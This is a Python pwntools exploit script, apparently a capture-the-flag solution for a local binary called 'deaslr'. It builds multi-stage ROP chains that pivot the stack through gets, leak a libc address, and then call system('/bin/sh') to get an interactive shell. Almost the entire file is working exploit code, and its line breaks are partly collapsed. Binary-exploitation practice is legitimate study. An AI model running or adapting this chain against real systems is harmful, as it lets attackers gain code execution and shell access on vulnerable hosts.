from pwn import * import os import struct import random import time import sys import signal
salt = os.getenv('GDB_SALT') if (os.getenv('GDB_SALT')) else ''
def clear(signum=None, stack=None): print('Strip all debugging information') os.system('rm -f /tmp/gdb_symbols{}* /tmp/gdb_pid{}* /tmp/gdb_script{}*'.replace('{}', salt)) exit(0)
for sig in [signal.SIGINT, signal.SIGHUP, signal.SIGTERM]: signal.signal(sig, clear)
try: gdb_symbols = ''' '''
f = open('/tmp/gdb_symbols{}.c'.replace('{}', salt), 'w') f.write(gdb_symbols) f.close() except Exception as e: print(e)
context.arch = 'amd64'
execve_file = './deaslr'
sh = process(execve_file)
elf = ELF(execve_file) libc = ELF('./libc-2.23.so')
try: gdbscript = ''' b *0x400555 '''
f = open('/tmp/gdb_pid{}'.replace('{}', salt), 'w') f.write(str(proc.pidof(sh)[0])) f.close()
f = open('/tmp/gdb_script{}'.replace('{}', salt), 'w') f.write(gdbscript) f.close() except Exception as e: print(e)
stack_addr = 0x601000 + 0x800
pop_rdi_ret = 0x00000000004005c3
leave_ret = 0x0000000000400554
ret = 0x00000000004003f9
sh.sendline('a' * 0x10 + p64(stack_addr) + p64(pop_rdi_ret) + p64(stack_addr) + p64(elf.plt['gets']) + p64(leave_ret))
layout1 = [ stack_addr + 0x400, pop_rdi_ret, stack_addr + 0x400, elf.plt['gets'], leave_ret, ]
sh.sendline(flat(layout1))
layout2 = [ 0x6017c0, pop_rdi_ret, 0x6017c8, elf.plt['gets'],
pop_rdi_ret, 0x6017d8, elf.plt['gets'],
leave_ret, ]
sh.sendline(flat(layout2))
sh.sendline(p64(pop_rdi_ret)[:7])
layout3 = [ elf.plt['gets'], elf.symbols['_start'],
]
sh.sendline(flat(layout3))
sh.sendline(p32(0xfbad2083))
layout4 = [ 0x601698,
[ret] * 64, pop_rdi_ret, 0x601698, elf.plt['gets'],
pop_rdi_ret, 0x6016b0, elf.plt['gets'],
pop_rdi_ret, 0x6016e0, elf.plt['gets'],
leave_ret, ]
sh.sendline('b' * 0x10 + flat(layout4))
sh.sendline(p64(stack_addr + 0x400) + p64(0x00000000004005c1)[:7]) sh.sendline(p64(0) + p64(pop_rdi_ret) + p64(elf.got['gets']) + p64(ret) * 2 + p8(0x30)) sh.sendline(p64(pop_rdi_ret) + p64(stack_addr + 0x400) + p64(elf.plt['gets']) + p64(leave_ret))
libc_addr = u64(sh.recvn(6) + '\0\0') - libc.symbols['gets'] log.success('libc_addr: ' + hex(libc_addr))
layout6 = [ 0, pop_rdi_ret, libc_addr + libc.search('/bin/sh\0').next(), libc_addr + libc.symbols['system'],
libc_addr + libc.symbols['exit'], ]
sh.sendline(flat(layout6))
sh.interactive() clear()
|